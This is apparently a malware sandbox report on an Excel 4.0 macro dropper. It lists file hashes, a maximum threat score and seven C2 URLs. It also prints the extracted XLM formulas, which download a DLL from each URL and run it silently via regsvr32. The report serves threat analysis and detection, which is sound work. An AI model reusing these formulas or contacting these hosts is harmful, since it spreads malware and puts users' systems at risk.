General

  • Target

    19fa12efbcd6b6dfea087ab66e90a9993c9e1d377b08e859681f3c835cc028e3

  • Size

    122KB

  • Sample

    241119-xjhpcavndm

  • MD5

    f926ab2a88f6c4993baf3204e2dc2e4d

  • SHA1

    2c0c10af069a0cd17bd0c933a6ad1bb2f2473918

  • SHA256

    19fa12efbcd6b6dfea087ab66e90a9993c9e1d377b08e859681f3c835cc028e3

  • SHA512

    3f21581e5385bffda6cec53ce5ec68ed80ae4b3ec9f60e1d588bb09c67a07d8cd674d322756ef62e1b2fee0e7c9e05ebaabc10a3a5e496700e3e683001a43b1a

  • SSDEEP

    3072:NDUVIc/arWmzgyYTnYNelISKXhsVskl4OjkQ:BAzSTgyYz5p6cQQ

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/

https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/

https://oneworldlantern.com/9A033MS/

https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/

https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/

https://andrewpharma.com/wp-includes/KKXAiWGL/

https://wxoperate.bb2play.com/framework/1zTlT1/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/","..\whxc.dll",0,0) =IF('IJEGVS'!H16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/","..\whxc.dll",0,0)) =IF('IJEGVS'!H18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://oneworldlantern.com/9A033MS/","..\whxc.dll",0,0)) =IF('IJEGVS'!H20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/","..\whxc.dll",0,0)) =IF('IJEGVS'!H22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/","..\whxc.dll",0,0)) =IF('IJEGVS'!H24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://andrewpharma.com/wp-includes/KKXAiWGL/","..\whxc.dll",0,0)) =IF('IJEGVS'!H26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wxoperate.bb2play.com/framework/1zTlT1/","..\whxc.dll",0,0)) =IF('IJEGVS'!H28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\whxc.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://mkt.digitalhouse.com/pablo/2Ua1v3E8rB/

xlm40.dropper

https://s-armsestonia.com/wp-content/7JKeYnm4TKIO1XvXK/

xlm40.dropper

https://oneworldlantern.com/9A033MS/

xlm40.dropper

https://ruiver.nl/fotoalbum/R6oydzYl2ezPTUSKas5/

xlm40.dropper

https://rvdempreendimentos.cloudstorage.pw/cgi-bin/SBVe/

xlm40.dropper

https://andrewpharma.com/wp-includes/KKXAiWGL/

xlm40.dropper

https://wxoperate.bb2play.com/framework/1zTlT1/

Targets

    • Target

      19fa12efbcd6b6dfea087ab66e90a9993c9e1d377b08e859681f3c835cc028e3

    • Size

      122KB

    • MD5

      f926ab2a88f6c4993baf3204e2dc2e4d

    • SHA1

      2c0c10af069a0cd17bd0c933a6ad1bb2f2473918

    • SHA256

      19fa12efbcd6b6dfea087ab66e90a9993c9e1d377b08e859681f3c835cc028e3

    • SHA512

      3f21581e5385bffda6cec53ce5ec68ed80ae4b3ec9f60e1d588bb09c67a07d8cd674d322756ef62e1b2fee0e7c9e05ebaabc10a3a5e496700e3e683001a43b1a

    • SSDEEP

      3072:NDUVIc/arWmzgyYTnYNelISKXhsVskl4OjkQ:BAzSTgyYz5p6cQQ

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks